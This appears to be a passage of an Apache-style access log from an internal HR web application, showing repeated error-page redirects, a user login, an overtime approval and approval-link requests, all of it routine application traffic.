192.168.40.34 - - [01/Dec/2025:13:01:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:13:01:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:13:01:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [01/Dec/2025:13:02:28 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E8750D3802D068BA3C898C0896D69A4568E8B0B5024359DFDFCB5B71B10C92D18E3717464699FCD7D452FD8D7E280509C41B15E3C7CB0D6276C HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [01/Dec/2025:13:02:28 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E8750D3802D068BA3C898C0896D69A4568E8B0B5024359DFDFCB5B71B10C92D18E3717464699FCD7D452FD8D7E280509C41B15E3C7CB0D6276C HTTP/1.1" 200 - 192.168.163.7 - - [01/Dec/2025:13:02:29 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E8750D3802D068BA3C898C0896D69A4568E8B0B5024359DFDFCB5B71B10C92D18E3717464699FCD7D452FD8D7E280509C41B15E3C7CB0D6276C HTTP/1.1" 200 4202 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.163.7 - - [01/Dec/2025:13:02:29 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E8750D3802D068BA3C898C0896D69A4568E8B0B5024359DFDFCB5B71B10C92D18E3717464699FCD7D452FD8D7E280509C41B15E3C7CB0D6276C HTTP/1.1" 200 4202 192.168.163.7 - - [01/Dec/2025:13:02:29 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E8750D3802D068BA3C898C0896D69A4568E8B0B5024359DFDFCB5B71B10C92D18E3717464699FCD7D452FD8D7E280509C41B15E3C7CB0D6276C" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.163.7 - - [01/Dec/2025:13:02:29 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 192.168.40.45 - - [01/Dec/2025:13:02:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.45 - - [01/Dec/2025:13:02:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:13:02:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.45 - - [01/Dec/2025:13:02:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.40.45 - - [01/Dec/2025:13:02:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 108853 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 108853 192.168.40.45 - - [01/Dec/2025:13:02:55 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:55 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:13:02:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132657%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132657&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132657%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132657&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:13:02:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:13:02:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:13:02:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:57 +0800] "GET 